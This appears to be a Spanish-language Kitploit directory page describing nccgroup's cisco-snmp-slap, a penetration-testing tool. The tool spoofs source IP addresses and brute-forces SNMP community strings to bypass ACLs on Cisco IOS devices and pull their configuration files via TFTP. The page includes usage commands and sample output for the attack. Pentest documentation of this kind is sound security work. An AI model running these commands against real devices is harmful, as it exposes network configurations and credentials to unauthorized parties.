Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Cisco-SNMP-Slap — Herramienta de suplantación de IP y fuerza bruta de cadenas de comunidad SNMP para evadir ACL en dispositivos Cisco IOS y exfiltrar archivos de configuración mediante TFTP. | Kitploit
Herramientas/GitHubGitHub/nccgroup/cisco-snmp-slap
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad de RedesPruebas de PenetraciónRed Teaming
GitHubnccgroup/cisco-snmp-slap

Cisco-SNMP-Slap

Herramienta de suplantación de IP y fuerza bruta de cadenas de comunidad SNMP para evadir ACL en dispositivos Cisco IOS y exfiltrar archivos de configuración mediante TFTP.

Ver Repositorio
5815hace 11 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

VISIÓN GENERAL

cisco-snmp-slap utiliza la suplantación de direcciones IP para evadir una ACL que protege un servicio SNMP en un dispositivo Cisco IOS.

Normalmente, la suplantación de IP tiene un uso limitado en ataques reales, aparte de DoS. Ningún servicio TCP puede completar el handshake inicial. Los paquetes UDP son más fáciles de suplantar, pero el paquete de respuesta a menudo se envía a la dirección incorrecta, lo que dificulta recopilar cualquier información devuelta.

Sin embargo, si un atacante puede adivinar la cadena de comunidad rw de SNMP y una dirección de origen válida, puede establecer MIBs de SNMP. Uno de los usos más evidentes de esto es hacer que un servicio SNMP de Cisco envíe su archivo de configuración IOS a otro dispositivo.

Esta herramienta te permite probar una o más cadenas de comunidad contra un dispositivo Cisco desde una o más direcciones IP. Al especificar direcciones IP, puedes elegir recorrer secuencialmente o aleatoriamente un rango de direcciones de origen.

Para especificar un rango de direcciones IP de origen a comprobar, se suministran una dirección de origen inicial y una máscara IP. Cualquier bit establecido en la máscara IP se utilizará para generar direcciones IP de origen modificando la dirección de origen inicial.

Por ejemplo, si se suministra una dirección de origen 10.0.0.0 con una máscara IP de 0.0.0.255, el script explorará las direcciones de 10.0.0.0 a 10.0.0.255.

Los bits establecidos no tienen que ser secuenciales como en una máscara de subred. Por ejemplo, la máscara 0.128.1.255 es válida y explorará los rangos 10.0,128.0-1.0-255.

Al comprobar un rango de direcciones IP de forma aleatoria o secuencial, se requiere que introduzcas la ruta a la raíz del directorio tftp. El script revisará este directorio para ver si el archivo se ha transferido correctamente.

Esta herramienta fue escrita para atacar switches de capa 3 de Cisco durante pentests, aunque pueda tener otros usos. Funciona bien contra estos dispositivos porque:

  1. los switches de capa 3 rara vez tienen la verificación de ruta inversa configurada, según la experiencia del autor
  2. no hay routers ni otros dispositivos que puedan detectar que se está produciendo una suplantación de IP.

Aunque espero que los usuarios encuentren otros usos interesantes para este script y su código fuente.

USO

En este ejemplo tomaré un dispositivo IOS simple con una lista de acceso que protege un servicio SNMP usando la cadena de comunidad 'cisco'

root@kitploit:~
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10

La dirección IP de un dispositivo IOS es 10.0.0.1

El pentester tiene una dirección IP 10.0.0.2 y ha iniciado un servidor TFTP.

Si el tester sabe todo esto, usa el modo único (one shot) para obtener el archivo de configuración del dispositivo. P. ej.

root@kitploit:~
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1

Si el tester no conoce los detalles, podría intentar adivinar. Digamos que el tester ha hecho algo de reconocimiento y ha descubierto que todas las direcciones internas están en el rango 10.0.0.0/8.

root@kitploit:~
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/

Este comando buscará a través de todos los /24; el tester espera poder ahorrar tiempo asumiendo que se permitirá el acceso a una subred completa en lugar de a una sola dirección IP.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community String:   cisco
TFTP Server IP  :   10.0.0.2
Source IP:          10.0.0.5
Source Mask:        0.255.255.0
Destination IP:     10.0.0.1
TFTP Root Path:     /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!

Deberías notar que el programa sale y anuncia el éxito varias direcciones IP después de entrar en el rango 10.100.100.0/24. Esto se debe a que no es posible determinar qué dirección de origen fue la exitosa, pero se determina que una de las peticiones tuvo éxito después de que el archivo de configuración aparezca en el tftproot. Dado que acabas de obtener la configuración en ejecución, ahora puedes averiguar los detalles de la ACL por ti mismo.

En lugar de especificar una única cadena de comunidad, también puedes proporcionar una lista de las que se deben usar. Los nombres de los modos son los mismos salvo que tienen un sufijo '_l'.

Por ejemplo, para repetir el mismo ataque usando una lista de cadenas de comunidad en list.txt, se deben usar los siguientes argumentos.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP  :   10.0.0.2
Source IP:  10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded:  ['private\n', 'cisco\n', 'public\n']
10.0.0.5 /  private
10.0.0.5 /  cisco
10.0.0.5 /  public
10.0.1.5 /  private
10.0.1.5 /  cisco
10.0.1.5 /  public
10.0.2.5 /  private
10.0.2.5 /  cisco
10.0.2.5 /  public
10.0.3.5 /  private
10.0.3.5 /  cisco
10.0.3.5 /  public

Ahora cada dirección IP se comprueba con cada cadena de comunidad en list.txt.

SOPORTE

En cuanto a lenguajes de programación, Python es un lenguaje sencillo, fácil de leer y escribir, y te animo a que intentes depurar y corregir cualquier problema que encuentres y me envíes tus cambios para poder compartirlos con otros usuarios en el Github de NCC.

Pero si necesitas ayuda, puedes contactarme en [email protected]. Haré todo lo posible por ayudarte, pero debes saber que no soy desarrollador a tiempo completo (¡lo cual debería ser obvio por mi código!) y puede que no tenga tiempo inmediato para atender tu consulta.

VERSIONES

  • 0.1 Versión inicial
  • 0.2 Añadidos modos aleatorio y secuencial y máscaras de dirección de origen
  • 0.3 Añadida la función de lista de cadenas de comunidad, primera versión pública
  • 0.3.1 ahora usa os.sep para que las rutas funcionen correctamente en Windows
Descargar herramienta